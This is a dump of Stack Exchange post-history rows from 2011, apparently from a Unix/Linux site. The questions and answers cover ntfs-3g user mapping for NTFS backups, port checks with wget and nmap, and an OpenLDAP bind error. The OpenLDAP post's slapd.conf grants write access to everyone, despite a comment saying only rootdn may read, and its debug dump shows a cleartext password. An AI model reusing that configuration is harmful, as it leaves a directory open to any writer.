  <row Id="28578" PostHistoryTypeId="6" PostId="11746" RevisionGUID="d07a9d50-7ee1-4efe-bd42-f7507b69e317" CreationDate="2011-04-21T07:22:40.337" UserId="885" Comment="edited tags" Text="épermissionsàéosxàéexecutableà" />
  <row Id="28579" PostHistoryTypeId="6" PostId="9802" RevisionGUID="49fb493a-d452-4411-9b30-28c313519511" CreationDate="2011-04-21T07:23:17.560" UserId="885" Comment="edited tags" Text="élinuxàéfirewallàéinternetà" />
  <row Id="28580" PostHistoryTypeId="5" PostId="11757" RevisionGUID="e927b4b1-f931-46c3-95da-781099916dd0" CreationDate="2011-04-21T07:30:58.400" UserId="6030" Comment="group is users not user." Text="I'm having some doubts about how to install and allow linux to correctly read/write to a *NTFS* formated harddrive used as backup of various machines (windows included, that's how I need *NTFS*).&#xD;&#xA;&#xD;&#xA;For now I've read some pages and I have the feeling I need someone else's guidance, from who already did this step-by-step, to not ruin things here.&#xD;&#xA;&#xD;&#xA;What I need is to be able to save a linux file, with its **chown** and **chmod** settings, to a *NTFS* filesystem, and be able to retrieve this information back.&#xD;&#xA;&#xD;&#xA;What I have today is a *NTFS* that saves all files with the **owner:group** of who mounted the volume, and permissions **rwxrwxrwx** for all.&#xD;&#xA;&#xD;&#xA;I've come to read [this article](http://www.tuxera.com/community/ntfs-3g-advanced/ownership-and-permissions/) but it is too much information and I could not understand some trick things when trying to actually implement:&#xD;&#xA;&#xD;&#xA; * Is it stable in the current version?&#xD;&#xA; * Do UBUNTU 10.04 have all things needed already? Or do I need to install anything?&#xD;&#xA; * What is the relation of POSIX ACL to this? Do I need install anything regarding this or just ntfs-3g will do?&#xD;&#xA; * Where are UBUNTU packages to run with apt-get?&#xD;&#xA; * If I map the users (with *usermap*) can bring the HardDrive to another computer with different users, will I be able to read them? (Under linux/windows)?&#xD;&#xA;&#xD;&#xA; For one thing I noticed, `usermap` was not ready to use. So I download and compiled (but not installed because I was afraid to mess things here), the last version of ntfs-3g. In the **README** file it says:&#xD;&#xA;&#xD;&#xA;    &gt; TESTING WITHOUT INSTALLING&#xD;&#xA;    &gt; &#xD;&#xA;    &gt; Newer versions of ntfs-3g can be&#xD;&#xA;    &gt; tested without installing anything and&#xD;&#xA;    &gt; without disturbing an existing&#xD;&#xA;    &gt; installation. Just configure and make&#xD;&#xA;    &gt; as shown previously. This will create&#xD;&#xA;    &gt; the scripts ntfs-3g and lowntfs-3g in&#xD;&#xA;    &gt; the src directory, which you may&#xD;&#xA;    &gt; activate for testing :&#xD;&#xA;    &gt; &#xD;&#xA;    &gt;         ./configure&#xD;&#xA;    &gt;         make&#xD;&#xA;    &gt; &#xD;&#xA;    &gt;   then, as root :&#xD;&#xA;    &gt;         src/ntfs-3g [-o mount-options] /dev/sda1 /mnt/windows&#xD;&#xA;    &gt; &#xD;&#xA;    &gt;   And, to end the test, unmount the&#xD;&#xA;    &gt; usual way :&#xD;&#xA;    &gt;         umount /dev/sda1&#xD;&#xA;&#xD;&#xA; But it tells nothing about the mount-options that I need to use to have full backups (full == backuping/restoring files, owners, groups and permissions).&#xD;&#xA;&#xD;&#xA;[This faq](http://www.tuxera.com/community/ntfs-3g-faq/#permissions) says:&#xD;&#xA;&#xD;&#xA;    Why have chmod and chown no effect?&#xD;&#xA;    &#xD;&#xA;    By default files on NTFS are owned by root with full access to everyone. &#xD;&#xA;    To get standard per-file protection you should mount with the &quot;permissions&quot;&#xD;&#xA;    option. Moreover, if you want the permissions to be interoperable with a&#xD;&#xA;    specific Windows configuration, you have to map the users.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Also, I did used the `ntfs-3g.usermap /dev/sdb2` tools to create the map file and got this result:&#xD;&#xA;&#xD;&#xA;    # Generated by usermap for Linux, v 1.1.4&#xD;&#xA;    :carl:S-1-5-21-889330461-3416208041-4118870141-511&#xD;&#xA;    :default:S-1-5-21-2592120051-4195220491-4132615201-511&#xD;&#xA;    carl:carl:S-1-5-21-889330462-3416208046-4118870148-1000&#xD;&#xA;&#xD;&#xA;Now this default was mapped because I wrote &quot;**default**&quot; to one file that was under the default user during the inquiring. I'm not sure if I did that right. I don't care for any users but **carl** (and **root** for that matters), and for any other groups but **users**. I saw the FAQ telling me to answer the group with the username. Isn't it the case to tell the group as &quot;**users**&quot;? And how can I check, booting windows, if this mapping is correct?&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;Beco.&#xD;&#xA;&#xD;&#xA;Briefing the question:&#xD;&#xA;&#xD;&#xA; 1. I need **rsync** to save linux files and windows files from various computers, to a NTFS external USB HD, without losing file permissions. &#xD;&#xA; 2. I don't know how to install and run the driver ntfs-3g to allow chown, chmod and anything else that is needed to make that possible. What options, and where?&#xD;&#xA; 3. All computers have carl username, but that doesn't guarantee that their SID, UID or GID are the same.&#xD;&#xA; 4. The environment is composed of 18 &quot;documents&quot; folders, 6 of them linux, 6 of them win7, 6 of them virtualbox win XP. All of them will be a single &quot;documents&quot; folder into the NTFS external hard drive.&#xD;&#xA;&#xD;&#xA;Reference:&#xD;&#xA;&#xD;&#xA; - I also read this forum, and maybe it is useful to someone trying to help me here. www.tuxera.com/forum/viewtopic.php?f=2&amp;t=1284&#xD;&#xA; - Also thought of these other three solutions, making the filesystem ext. But the external HD may be used in windows boxes I could not install or have write to install drivers. So it needs to be readable easily by any windows and NTFS is the standard. www.howtoforge.com/access-linux-partitions-from-windows&#xD;&#xA;&#xD;&#xA;Please, make this answer a nice howto that will be indexed and googled all around the world, bringing here people with the same doubt. Because all my google searches was too much technical to follow. Thanks very much.&#xD;&#xA;" />
  <row Id="28581" PostHistoryTypeId="2" PostId="11759" RevisionGUID="7560c8e4-c5c2-4a97-afb6-24aea3297a39" CreationDate="2011-04-21T07:36:09.360" UserId="3082" Text="You can use ntfs-3g, but make sure you place the mappings file in the right place. Once you do that you should see file ownerships in ../User/name match the unix user. &#xD;&#xA;&#xD;&#xA;However, if you just want to use it as backup you should probably just save a big tarball onto the ntfs location. If you also want random access you can place an ext2 image file and loop mount it. That will save you from a lot of these headaches." />
  <row Id="28584" PostHistoryTypeId="2" PostId="11761" RevisionGUID="c1703c38-211a-42cd-ba76-97867d3c5468" CreationDate="2011-04-21T07:44:16.930" UserId="3459" Text="Both sites you linked use the INAIC alternate root servers. They are completely useless for anybody that doesn't use those alternate root servers, which is 99.999% of the world." />
  <row Id="28585" PostHistoryTypeId="2" PostId="11762" RevisionGUID="f7bc2ca8-bc33-4cad-8410-5bbb94600cca" CreationDate="2011-04-21T07:48:23.447" UserId="1925" Text="The network scanning app `nmap` would be a much more apt tool to scan a batch of IPs to figure out if the host is up and if a particular port is open." />
  <row Id="28586" PostHistoryTypeId="5" PostId="11757" RevisionGUID="052f59fa-1373-4fa4-9017-37ebc14fd5bc" CreationDate="2011-04-21T07:51:18.933" UserId="1925" Comment="Fixed some formatting and English issues." Text="I'm having some doubts about how to install and allow linux to correctly read/write to a *NTFS* formated harddrive used as backup of various machines (windows included, that's how I need *NTFS*).&#xD;&#xA;&#xD;&#xA;For now I've read some pages and I have the feeling I need someone else's guidance, from who already did this step-by-step, to not ruin things here.&#xD;&#xA;&#xD;&#xA;What I need is to be able to save a linux file, with its `chown` and `chmod` settings, to a *NTFS* filesystem, and be able to retrieve this information back.&#xD;&#xA;&#xD;&#xA;What I have today is a *NTFS* that saves all files with the `owner:group` of who mounted the volume, and permissions `rwxrwxrwx` for all.&#xD;&#xA;&#xD;&#xA;I read [this article][1] but it is too much information and I could not understand some things when trying to actually implement:&#xD;&#xA;&#xD;&#xA; * Is it stable in the current version?&#xD;&#xA; * Do UBUNTU 10.04 have all things needed already? Or do I need to install anything?&#xD;&#xA; * What is the relation of POSIX ACL to this? Do I need install anything regarding this or just `ntfs-3g` will do?&#xD;&#xA; * Where are UBUNTU packages to run with `apt-get`?&#xD;&#xA; * If I map the users (with `usermap`) can bring the HardDrive to another computer with different users, will I be able to read them? (Under linux/windows)?&#xD;&#xA;&#xD;&#xA; For one thing I noticed, `usermap` was not ready to use. So I download and compiled (but not installed because I was afraid to mess things here), the last version of ntfs-3g. In the README file it says:&#xD;&#xA;&#xD;&#xA;    &gt; TESTING WITHOUT INSTALLING&#xD;&#xA;    &gt; &#xD;&#xA;    &gt; Newer versions of ntfs-3g can be&#xD;&#xA;    &gt; tested without installing anything and&#xD;&#xA;    &gt; without disturbing an existing&#xD;&#xA;    &gt; installation. Just configure and make&#xD;&#xA;    &gt; as shown previously. This will create&#xD;&#xA;    &gt; the scripts ntfs-3g and lowntfs-3g in&#xD;&#xA;    &gt; the src directory, which you may&#xD;&#xA;    &gt; activate for testing :&#xD;&#xA;    &gt; &#xD;&#xA;    &gt;         ./configure&#xD;&#xA;    &gt;         make&#xD;&#xA;    &gt; &#xD;&#xA;    &gt;   then, as root :&#xD;&#xA;    &gt;         src/ntfs-3g [-o mount-options] /dev/sda1 /mnt/windows&#xD;&#xA;    &gt; &#xD;&#xA;    &gt;   And, to end the test, unmount the&#xD;&#xA;    &gt; usual way :&#xD;&#xA;    &gt;         umount /dev/sda1&#xD;&#xA;&#xD;&#xA; But it tells nothing about the mount-options that I need to use to have full backups (full == backuping/restoring files, owners, groups and permissions).&#xD;&#xA;&#xD;&#xA;[This faq][2] says:&#xD;&#xA;&#xD;&#xA;&gt; Why have chmod and chown no effect?&#xD;&#xA;    &#xD;&#xA;&gt; By default files on NTFS are owned by root with full access to everyone. &#xD;&#xA;&gt; To get standard per-file protection you should mount with the &quot;permissions&quot;&#xD;&#xA;&gt; option. Moreover, if you want the permissions to be interoperable with a&#xD;&#xA;&gt; specific Windows configuration, you have to map the users.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Also, I did used the `ntfs-3g.usermap /dev/sdb2` tools to create the map file and got this result:&#xD;&#xA;&#xD;&#xA;    # Generated by usermap for Linux, v 1.1.4&#xD;&#xA;    :carl:S-1-5-21-889330461-3416208041-4118870141-511&#xD;&#xA;    :default:S-1-5-21-2592120051-4195220491-4132615201-511&#xD;&#xA;    carl:carl:S-1-5-21-889330462-3416208046-4118870148-1000&#xD;&#xA;&#xD;&#xA;Now this default was mapped because I wrote &quot;**default**&quot; to one file that was under the default user during the inquiring. I'm not sure if I did that right. I don't care for any users but **carl** (and **root** for that matter), and for any other groups but **users**. I saw the FAQ telling me to answer the group with the username. Isn't it the case to tell the group as &quot;**users**&quot;? And how can I check, booting windows, if this mapping is correct?&#xD;&#xA;&#xD;&#xA;**Summary**:&#xD;&#xA;&#xD;&#xA; 1. I need `rsync` to save linux files and windows files from various computers, to a NTFS external USB HD, without losing file permissions. &#xD;&#xA; 2. I don't know how to install and run the driver ntfs-3g to allow chown, chmod and anything else that is needed to make that possible. What options, and where?&#xD;&#xA; 3. All computers have carl username, but that doesn't guarantee that their SID, UID or GID are the same.&#xD;&#xA; 4. The environment is composed of 18 &quot;documents&quot; folders, 6 of them linux, 6 of them win7, 6 of them virtualbox win XP. All of them will be a single &quot;documents&quot; folder into the NTFS external hard drive.&#xD;&#xA;&#xD;&#xA;Reference:&#xD;&#xA;&#xD;&#xA; - I also read [this forum][3], and maybe it is useful to someone trying to help me here. &#xD;&#xA; - Also thought of [these other three solutions][4], making the filesystem ext. But the external HD may be used in windows boxes I could not install or have write to install drivers. So it needs to be readable easily by any windows and NTFS is the standard. &#xD;&#xA;&#xD;&#xA;All my google searches was too much technical to follow.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.tuxera.com/community/ntfs-3g-advanced/ownership-and-permissions/&#xD;&#xA;  [2]: http://www.tuxera.com/community/ntfs-3g-faq/#permissions&#xD;&#xA;  [3]: http://www.tuxera.com/forum/viewtopic.php?f=2&amp;t=1284&#xD;&#xA;  [4]: http://www.howtoforge.com/access-linux-partitions-from-windows" />
  <row Id="28587" PostHistoryTypeId="24" PostId="11757" RevisionGUID="052f59fa-1373-4fa4-9017-37ebc14fd5bc" CreationDate="2011-04-21T07:51:18.933" Comment="Proposed by 1925 approved by 6030 edit id of 301" />
  <row Id="28588" PostHistoryTypeId="5" PostId="11759" RevisionGUID="4b6ed109-c58e-4d66-aa5c-987183010be0" CreationDate="2011-04-21T08:14:37.797" UserId="3082" Comment="added 418 characters in body" Text="You can use ntfs-3g, but make sure you place the mappings file in the right place. Once you do that you should see file ownerships in ../User/name match the unix user. &#xD;&#xA;&#xD;&#xA;However, if you just want to use it as backup you should probably just save a big tarball onto the ntfs location. If you also want random access you can place an ext2 image file and loop mount it. That will save you from a lot of these headaches.&#xD;&#xA;&#xD;&#xA;Ok, assuming you will mount NTFS under /ntfs&#xD;&#xA;&#xD;&#xA;run `ntfs-3g.usermap /dev/sdb1` (or whatever your ntfs partition is). Answer the questions.&#xD;&#xA;Then `mkdir /ntfs/.NTFS-3G`. Then `cp UserMapping /ntfs/.NTFS-3G/UserMapping`. Now put an entry in /etc/fstab:&#xD;&#xA;&#xD;&#xA;/dev/sdb1 /ntfs ntfs-3g defaults 0 0&#xD;&#xA;&#xD;&#xA;Then `mount /ntfs`. The command `ls -l /ntfs/Users/Carl` should show your Linux user as the owner of files there.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28589" PostHistoryTypeId="5" PostId="11756" RevisionGUID="c57673d9-0d1e-403f-9891-604fd54e88fb" CreationDate="2011-04-21T09:00:46.020" UserId="1925" Comment="Formatting, removed signature per FAQ." Text="I use a fairly simple WGET command to verify if the IP Address and port are open or closed for a particular server: `wget -a /tmp/ports.log -t1 -T1 10.178.30.45:443`&#xD;&#xA;&#xD;&#xA;The issue I have is that there are a number of servers that I need to check, and each server links to other IP addresses/ports.&#xD;&#xA;&#xD;&#xA;Currently I have several of these one liner type scripts deployed on each of the specific servers which require being run manually as and when required.&#xD;&#xA;&#xD;&#xA;Ideally, I am looking to customize this with one script that can recursively read in a flat file of IP addresses/ports using a WGET command. The resulting report produced will identify those that are not connected (ie: &quot;failed: Connection timed out.&quot;).&#xD;&#xA;&#xD;&#xA;The script should ideally run from within windows rather than deployed and run on each of the server.  A list of user id’s/passwords can be obtained for each server if this needs to be passed via the script." />
  <row Id="28590" PostHistoryTypeId="24" PostId="11756" RevisionGUID="c57673d9-0d1e-403f-9891-604fd54e88fb" CreationDate="2011-04-21T09:00:46.020" Comment="Proposed by 1925 approved by 885 edit id of 302" />
  <row Id="28591" PostHistoryTypeId="5" PostId="11755" RevisionGUID="53504b25-a507-4208-94c3-702f968389b5" CreationDate="2011-04-21T09:01:08.090" UserId="1925" Comment="Removed sig per FAQ, aded a couple English and formatting fixes." Text="I'm trying to set up an openLdap server and after following the instructions I'm stuck at the point where I can't add any data.&#xD;&#xA;&#xD;&#xA;The error I'm getting is&#xD;&#xA;&#xD;&#xA;    ldap_bind: Invalid credentials (49)&#xD;&#xA;&#xD;&#xA;Please help me in this issue. And be patient while reading the debug data and the `slapd.conf` file because they are quite long.&#xD;&#xA;&#xD;&#xA;My system is: Red Hat Enterprise Linux 6.0  &#xD;&#xA;Installed openLdap using `yum openldap*`.  &#xD;&#xA;&#xD;&#xA;Here is my `slapd.conf` file:&#xD;&#xA;&#xD;&#xA;    #&#xD;&#xA;    # See slapd.conf(5) for details on configuration options.&#xD;&#xA;    # This file should NOT be world readable.&#xD;&#xA;    #&#xD;&#xA;    &#xD;&#xA;    include		/etc/openldap/schema/corba.schema&#xD;&#xA;    include		/etc/openldap/schema/core.schema&#xD;&#xA;    include		/etc/openldap/schema/cosine.schema&#xD;&#xA;    include		/etc/openldap/schema/duaconf.schema&#xD;&#xA;    include		/etc/openldap/schema/dyngroup.schema&#xD;&#xA;    include		/etc/openldap/schema/inetorgperson.schema&#xD;&#xA;    include		/etc/openldap/schema/java.schema&#xD;&#xA;    include		/etc/openldap/schema/misc.schema&#xD;&#xA;    include		/etc/openldap/schema/nis.schema&#xD;&#xA;    include		/etc/openldap/schema/openldap.schema&#xD;&#xA;    include		/etc/openldap/schema/ppolicy.schema&#xD;&#xA;    include		/etc/openldap/schema/collective.schema&#xD;&#xA;    &#xD;&#xA;    # Allow LDAPv2 client connections.  This is NOT the default.&#xD;&#xA;    allow bind_v2&#xD;&#xA;    &#xD;&#xA;    # Do not enable referrals until AFTER you have a working directory&#xD;&#xA;    # service AND an understanding of referrals.&#xD;&#xA;    #referral	ldap://root.openldap.org&#xD;&#xA;    &#xD;&#xA;    pidfile		/var/run/openldap/slapd.pid&#xD;&#xA;    argsfile	/var/run/openldap/slapd.args&#xD;&#xA;    &#xD;&#xA;    # Load dynamic backend modules:&#xD;&#xA;    # Module syncprov.la is now statically linked with slapd and there&#xD;&#xA;    # is no need to load it here&#xD;&#xA;    # modulepath	/usr/lib/openldap # or /usr/lib64/openldap&#xD;&#xA;    # moduleload accesslog.la&#xD;&#xA;    # moduleload auditlog.la&#xD;&#xA;    ## To load this module, you have to install openldap-server-sql first&#xD;&#xA;    # moduleload back_sql.la&#xD;&#xA;    ## Following two modules can't be loaded simultaneously&#xD;&#xA;    # moduleload dyngroup.la&#xD;&#xA;    # moduleload dynlist.la&#xD;&#xA;    # moduleload lastmod.la&#xD;&#xA;    # moduleload pcache.la&#xD;&#xA;    # moduleload ppolicy.la&#xD;&#xA;    # moduleload refint.la&#xD;&#xA;    # moduleload retcode.la&#xD;&#xA;    # moduleload rwm.la&#xD;&#xA;    # moduleload translucent.la&#xD;&#xA;    # moduleload unique.la&#xD;&#xA;    # moduleload valsort.la&#xD;&#xA;    &#xD;&#xA;    # The next three lines allow use of TLS for encrypting connections using a&#xD;&#xA;    # dummy test certificate which you can generate by changing to&#xD;&#xA;    # /etc/pki/tls/certs, running &quot;make slapd.pem&quot;, and fixing permissions on&#xD;&#xA;    # slapd.pem so that the ldap user or group can read it.  Your client software&#xD;&#xA;    # may balk at self-signed certificates, however.&#xD;&#xA;    # TLSCACertificateFile /etc/pki/tls/certs/ca-bundle.crt&#xD;&#xA;    # TLSCertificateFile /etc/pki/tls/certs/slapd.pem&#xD;&#xA;    # TLSCertificateKeyFile /etc/pki/tls/certs/slapd.pem&#xD;&#xA;    &#xD;&#xA;    # Sample security restrictions&#xD;&#xA;    #	Require integrity protection (prevent hijacking)&#xD;&#xA;    #	Require 112-bit (3DES or better) encryption for updates&#xD;&#xA;    #	Require 63-bit encryption for simple bind&#xD;&#xA;    # security ssf=1 update_ssf=112 simple_bind=64&#xD;&#xA;    &#xD;&#xA;    # Sample access control policy:&#xD;&#xA;    #	Root DSE: allow anyone to read it&#xD;&#xA;    #	Subschema (sub)entry DSE: allow anyone to read it&#xD;&#xA;    #	Other DSEs:&#xD;&#xA;    #		Allow self write access&#xD;&#xA;    #		Allow authenticated users read access&#xD;&#xA;    #		Allow anonymous users to authenticate&#xD;&#xA;    #	Directives needed to implement policy:&#xD;&#xA;    # access to dn.base=&quot;&quot; by * read&#xD;&#xA;    # access to dn.base=&quot;cn=Subschema&quot; by * read&#xD;&#xA;    # access to *&#xD;&#xA;    #	by self write&#xD;&#xA;    #	by users read&#xD;&#xA;    #	by anonymous auth&#xD;&#xA;    #&#xD;&#xA;    # if no access controls are present, the default policy&#xD;&#xA;    # allows anyone and everyone to read anything but restricts&#xD;&#xA;    # updates to rootdn.  (e.g., &quot;access to * by * read&quot;)&#xD;&#xA;    #&#xD;&#xA;    # rootdn can always read and write EVERYTHING!&#xD;&#xA;    &#xD;&#xA;    #######################################################################&#xD;&#xA;    # ldbm and/or bdb database definitions&#xD;&#xA;    #######################################################################&#xD;&#xA;    &#xD;&#xA;    database	bdb&#xD;&#xA;    suffix dc=ttsbroot,dc=teleotele&#xD;&#xA;    #checkpoint	1024 15&#xD;&#xA;    rootdn cn=shamal,dc=ttsbroot,dc=teleotele&#xD;&#xA;    # Cleartext passwords, especially for the rootdn, should&#xD;&#xA;    # be avoided.  See slappasswd(8) and slapd.conf(5) for details.&#xD;&#xA;    # Use of strong authentication encouraged.&#xD;&#xA;    rootpw {crypt}49/WKVk.6oz3o&#xD;&#xA;    # rootpw		secret&#xD;&#xA;    # rootpw		{crypt}ijFYNcSNctBYg&#xD;&#xA;    &#xD;&#xA;    # The database directory MUST exist prior to running slapd AND &#xD;&#xA;    # should only be accessible by the slapd and slap tools.&#xD;&#xA;    # Mode 700 recommended.&#xD;&#xA;    directory	/var/lib/ldap&#xD;&#xA;    &#xD;&#xA;    # Indices to maintain for this database&#xD;&#xA;    index objectClass                       eq,pres&#xD;&#xA;    index ou,cn,mail,surname,givenname      eq,pres,sub&#xD;&#xA;    index uidNumber,gidNumber,loginShell    eq,pres&#xD;&#xA;    index uid,memberUid                     eq,pres,sub&#xD;&#xA;    index nisMapName,nisMapEntry            eq,pres,sub&#xD;&#xA;    &#xD;&#xA;    # Replicas of this database&#xD;&#xA;    #replogfile /var/lib/ldap/openldap-master-replog&#xD;&#xA;    #replica host=ldap-1.example.com:389 starttls=critical&#xD;&#xA;    #     bindmethod=sasl saslmech=GSSAPI&#xD;&#xA;    #     authcId=host/ldap-master.example.com@EXAMPLE.COM&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    # enable monitoring&#xD;&#xA;    database monitor&#xD;&#xA;    &#xD;&#xA;    # allow onlu rootdn to read the monitor&#xD;&#xA;    access to * by * write by * read by * search by * auth&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;I'm adding the debug data returned when I added `-d 255` argument.&#xD;&#xA;&#xD;&#xA;    [root@TTSBROOT Documents]# ldapadd -D &quot;cn=shamal,dc=TTSBROOT,dc=teleotele&quot; -W -x -a -f teleotele.ldif -d 255&#xD;&#xA;    ldap_create&#xD;&#xA;    Enter LDAP Password: &#xD;&#xA;    ldap_sasl_bind&#xD;&#xA;    ldap_send_initial_request&#xD;&#xA;    ldap_new_connection 1 1 0&#xD;&#xA;    ldap_int_open_connection&#xD;&#xA;    ldap_connect_to_host: TCP localhost:389&#xD;&#xA;    ldap_new_socket: 4&#xD;&#xA;    ldap_prepare_socket: 4&#xD;&#xA;    ldap_connect_to_host: Trying 127.0.0.1:389&#xD;&#xA;    ldap_pvt_connect: fd: 4 tm: -1 async: 0&#xD;&#xA;    ldap_open_defconn: successful&#xD;&#xA;    ldap_send_server_request&#xD;&#xA;    ber_scanf fmt ({it) ber:&#xD;&#xA;    ber_dump: buf=0x18345d0 ptr=0x18345d0 end=0x1834612 len=66&#xD;&#xA;      0000:  30 84 00 00 00 3c 02 01  01 60 84 00 00 00 33 02   0....&lt;...`....3.  &#xD;&#xA;      0010:  01 03 04 22 63 6e 3d 73  68 61 6d 61 6c 2c 64 63   ...&quot;cn=shamal,dc  &#xD;&#xA;      0020:  3d 54 54 53 42 52 4f 4f  54 2c 64 63 3d 74 65 6c   =TTSBROOT,dc=tel  &#xD;&#xA;      0030:  65 6f 74 65 6c 65 80 0a  73 68 61 6d 61 6c 31 32   eotele..shamal12  &#xD;&#xA;      0040:  33 34                                              34                &#xD;&#xA;    ber_scanf fmt ({i) ber:&#xD;&#xA;    ber_dump: buf=0x18345d0 ptr=0x18345d9 end=0x1834612 len=57&#xD;&#xA;      0000:  60 84 00 00 00 33 02 01  03 04 22 63 6e 3d 73 68   `....3....&quot;cn=sh  &#xD;&#xA;      0010:  61 6d 61 6c 2c 64 63 3d  54 54 53 42 52 4f 4f 54   amal,dc=TTSBROOT  &#xD;&#xA;      0020:  2c 64 63 3d 74 65 6c 65  6f 74 65 6c 65 80 0a 73   ,dc=teleotele..s  &#xD;&#xA;      0030:  68 61 6d 61 6c 31 32 33  34                        hamal1234         &#xD;&#xA;    ber_flush2: 66 bytes to sd 4&#xD;&#xA;      0000:  30 84 00 00 00 3c 02 01  01 60 84 00 00 00 33 02   0....&lt;...`....3.  &#xD;&#xA;      0010:  01 03 04 22 63 6e 3d 73  68 61 6d 61 6c 2c 64 63   ...&quot;cn=shamal,dc  &#xD;&#xA;      0020:  3d 54 54 53 42 52 4f 4f  54 2c 64 63 3d 74 65 6c   =TTSBROOT,dc=tel  &#xD;&#xA;      0030:  65 6f 74 65 6c 65 80 0a  73 68 61 6d 61 6c 31 32   eotele..shamal12  &#xD;&#xA;      0040:  33 34                                              34                &#xD;&#xA;    ldap_write: want=66, written=66&#xD;&#xA;      0000:  30 84 00 00 00 3c 02 01  01 60 84 00 00 00 33 02   0....&lt;...`....3.  &#xD;&#xA;      0010:  01 03 04 22 63 6e 3d 73  68 61 6d 61 6c 2c 64 63   ...&quot;cn=shamal,dc  &#xD;&#xA;      0020:  3d 54 54 53 42 52 4f 4f  54 2c 64 63 3d 74 65 6c   =TTSBROOT,dc=tel  &#xD;&#xA;      0030:  65 6f 74 65 6c 65 80 0a  73 68 61 6d 61 6c 31 32   eotele..shamal12  &#xD;&#xA;      0040:  33 34                                              34                &#xD;&#xA;    ldap_result ld 0x182c3e0 msgid 1&#xD;&#xA;    wait4msg ld 0x182c3e0 msgid 1 (infinite timeout)&#xD;&#xA;    wait4msg continue ld 0x182c3e0 msgid 1 all 1&#xD;&#xA;    ** ld 0x182c3e0 Connections:&#xD;&#xA;    * host: localhost  port: 389  (default)&#xD;&#xA;      refcnt: 2  status: Connected&#xD;&#xA;      last used: Fri Apr 22 14:24:17 2011&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    ** ld 0x182c3e0 Outstanding Requests:&#xD;&#xA;     * msgid 1,  origid 1, status InProgress&#xD;&#xA;       outstanding referrals 0, parent count 0&#xD;&#xA;      ld 0x182c3e0 request count 1 (abandoned 0)&#xD;&#xA;    ** ld 0x182c3e0 Response Queue:&#xD;&#xA;       Empty&#xD;&#xA;      ld 0x182c3e0 response count 0&#xD;&#xA;    ldap_chkResponseList ld 0x182c3e0 msgid 1 all 1&#xD;&#xA;    ldap_chkResponseList returns ld 0x182c3e0 NULL&#xD;&#xA;    ldap_int_select&#xD;&#xA;    read1msg: ld 0x182c3e0 msgid 1 all 1&#xD;&#xA;    ber_get_next&#xD;&#xA;    ldap_read: want=8, got=8&#xD;&#xA;      0000:  30 84 00 00 00 10 02 01                            0.......          &#xD;&#xA;    ldap_read: want=14, got=14&#xD;&#xA;      0000:  01 61 84 00 00 00 07 0a  01 31 04 00 04 00         .a.......1....    &#xD;&#xA;    ber_get_next: tag 0x30 len 16 contents:&#xD;&#xA;    ber_dump: buf=0x1835a50 ptr=0x1835a50 end=0x1835a60 len=16&#xD;&#xA;      0000:  02 01 01 61 84 00 00 00  07 0a 01 31 04 00 04 00   ...a.......1....  &#xD;&#xA;    read1msg: ld 0x182c3e0 msgid 1 message type bind&#xD;&#xA;    ber_scanf fmt ({eAA) ber:&#xD;&#xA;    ber_dump: buf=0x1835a50 ptr=0x1835a53 end=0x1835a60 len=13&#xD;&#xA;      0000:  61 84 00 00 00 07 0a 01  31 04 00 04 00            a.......1....     &#xD;&#xA;    read1msg: ld 0x182c3e0 0 new referrals&#xD;&#xA;    read1msg:  mark request completed, ld 0x182c3e0 msgid 1&#xD;&#xA;    request done: ld 0x182c3e0 msgid 1&#xD;&#xA;    res_errno: 49, res_error: &lt;&gt;, res_matched: &lt;&gt;&#xD;&#xA;    ldap_free_request (origid 1, msgid 1)&#xD;&#xA;    ldap_parse_result&#xD;&#xA;    ber_scanf fmt ({iAA) ber:&#xD;&#xA;    ber_dump: buf=0x1835a50 ptr=0x1835a53 end=0x1835a60 len=13&#xD;&#xA;      0000:  61 84 00 00 00 07 0a 01  31 04 00 04 00            a.......1....     &#xD;&#xA;    ber_scanf fmt (}) ber:&#xD;&#xA;    ber_dump: buf=0x1835a50 ptr=0x1835a60 end=0x1835a60 len=0&#xD;&#xA;    &#xD;&#xA;    ldap_msgfree&#xD;&#xA;    ldap_err2string&#xD;&#xA;    ldap_bind: Invalid credentials (49)" />
  <row Id="28592" PostHistoryTypeId="24" PostId="11755" RevisionGUID="53504b25-a507-4208-94c3-702f968389b5" CreationDate="2011-04-21T09:01:08.090" Comment="Proposed by 1925 approved by 885 edit id of 303" />
  <row Id="28593" PostHistoryTypeId="25" PostId="11757" RevisionGUID="831aab71-80be-4bd7-af38-34e61e94793d" CreationDate="2011-04-21T09:09:09.717" Comment="http://twitter.com/#!/StackUnix/status/60993465307238401" />
  <row Id="28594" PostHistoryTypeId="2" PostId="11763" RevisionGUID="d4e08e8c-edca-4ad6-9865-0230d947ed94" CreationDate="2011-04-21T09:51:56.890" UserId="3879" Text="As suggested above, `nmap` should be the tool of choice in this case. With `nmap` you can do like this:&#xD;&#xA;&#xD;&#xA;    nmap  127.0.0.1 -p 80,21-25&#xD;&#xA;&#xD;&#xA;and get to know whether the ports are open or closed:&#xD;&#xA;&#xD;&#xA;    Starting Nmap 5.00 ( http://nmap.org ) at 2011-04-21 15:29 IST&#xD;&#xA;    Interesting ports on localhost (127.0.0.1):&#xD;&#xA;    PORT   STATE  SERVICE&#xD;&#xA;    25/tcp closed smtp&#xD;&#xA;    26/tcp closed rsftp&#xD;&#xA;    27/tcp closed nsw-fe&#xD;&#xA;    28/tcp closed unknown&#xD;&#xA;    29/tcp closed msg-icp&#xD;&#xA;    80/tcp open   http&#xD;&#xA;    &#xD;&#xA;    Nmap done: 1 IP address (1 host up) scanned in 0.12 seconds&#xD;&#xA;&#xD;&#xA;Nmap for Windows can be downloaded from here: http://nmap.org/download.html" />
